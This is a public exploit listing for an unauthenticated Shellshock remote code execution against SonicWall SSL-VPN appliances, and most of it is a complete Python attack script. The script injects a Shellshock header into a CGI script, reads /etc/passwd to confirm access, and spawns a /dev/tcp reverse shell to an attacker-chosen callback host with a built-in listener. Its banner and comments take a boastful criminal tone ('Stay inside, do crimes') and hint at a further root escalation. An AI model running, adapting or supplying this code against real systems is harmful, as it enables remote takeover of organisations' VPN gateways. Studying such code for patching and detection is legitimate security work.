SonicWall SSL-VPN 8.0.0.0 shellshock/visualdoor Remote Code Execution (Unauthenticated)

2021.01.29
Credit: Darren Martyn
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: SonicWall SSL-VPN 8.0.0.0 - 'shellshock/visualdoor' Remote Code Execution (Unauthenticated) # Exploit Author: Darren Martyn # Vendor Homepage: https://www.home-assistant.io/ # Version: < SMA 8.0.0.4 # Blog post: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ #!/usr/bin/python # coding: utf-8 # Author: Darren Martyn # Credit: Phineas Fisher # Notes: # This exploit basically implements the exploits Phineas Fisher used to pwn Hacking Team # and the Cayman Trust Bank place. It uses the Shellshock vulnerability to gain a command # execution primitive as the "nobody" user in the cgi-bin/jarrewrite.sh web-script, spawns # a trivial reverse shell using /dev/tcp. # There is a fairly trivial LPE in these that gets you root by abusing setuid dos2unix, but # implementing that is left as an exercise for the reader. I've seen a few approaches, and # would be interested in seeing yours. # There is another LPE that works only on some models which I also have removed from this. # Details: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/ import requests import sys import telnetlib import socket from threading import Thread from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) import time def banner(): print """ 88 88 "" 88 88 8b d8 88 ,adPPYba, 88 88 ,adPPYYba, 88 `8b d8' 88 I8[ "" 88 88 "" `Y8 88 `8b d8' 88 `"Y8ba, 88 88 ,adPPPPP88 88 `8b,d8' 88 aa ]8I "8a, ,a88 88, ,88 88 "8" 88 `"YbbdP"' `"YbbdP'Y8 `"8bbdP"Y8 88 88 88 88 ,adPPYb,88 ,adPPYba, ,adPPYba, 8b,dPPYba, a8" `Y88 a8" "8a a8" "8a 88P' "Y8 8b 88 8b d8 8b d8 88 "8a, ,d88 "8a, ,a8" "8a, ,a8" 88 `"8bbdP"Y8 `"YbbdP"' `"YbbdP"' 88 SonicWall SSL-VPN Appliance Remote Exploit Public Release (Jan 2021). Author: Darren Martyn. Credit goes to Phineas Fisher for this. Stay inside, do crimes. """ def handler(lp): # handler borrowed from Stephen Seeley. print "(+) starting handler on port %d" %(lp) t = telnetlib.Telnet() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", lp)) s.listen(1) conn, addr = s.accept() print "(+) connection from %s" %(addr[0]) t.sock = conn print "(+) pop thy shell!" t.interact() def execute_command(target, command): url = target + "/cgi-bin/jarrewrite.sh" headers = {"User-Agent": "() { :; }; echo ; /bin/bash -c '%s'" %(command)} r = requests.get(url=url, headers=headers, verify=False) return r.text def check_exploitable(target): print "(+) Testing %s for pwnability..." %(target) output = execute_command(target=target, command="cat /etc/passwd") if "root:" in output: print "(*) We can continue, time to wreck this shit." return True else: return False def pop_reverse_shell(target, cb_host, cb_port): print "(+) Sending callback to %s:%s" %(cb_host, cb_port) backconnect = "nohup bash -i >& /dev/tcp/%s/%s 0>&1 &" %(cb_host, cb_port) execute_command(target=target, command=backconnect) def hack_the_planet(target, cb_host, cb_port): if check_exploitable(target) == True: pass else: sys.exit("(-) Target not exploitable...") handlerthr = Thread(target=handler, args=(int(cb_port),)) handlerthr.start() pop_reverse_shell(target=target, cb_host=cb_host, cb_port=cb_port) def main(args): banner() if len(args) != 4: sys.exit("use: %s https://some-vpn.lol:8090 hacke.rs 1337" %(args[0])) hack_the_planet(target=args[1], cb_host=args[2], cb_port=args[3]) if __name__ == "__main__": main(args=sys.argv)


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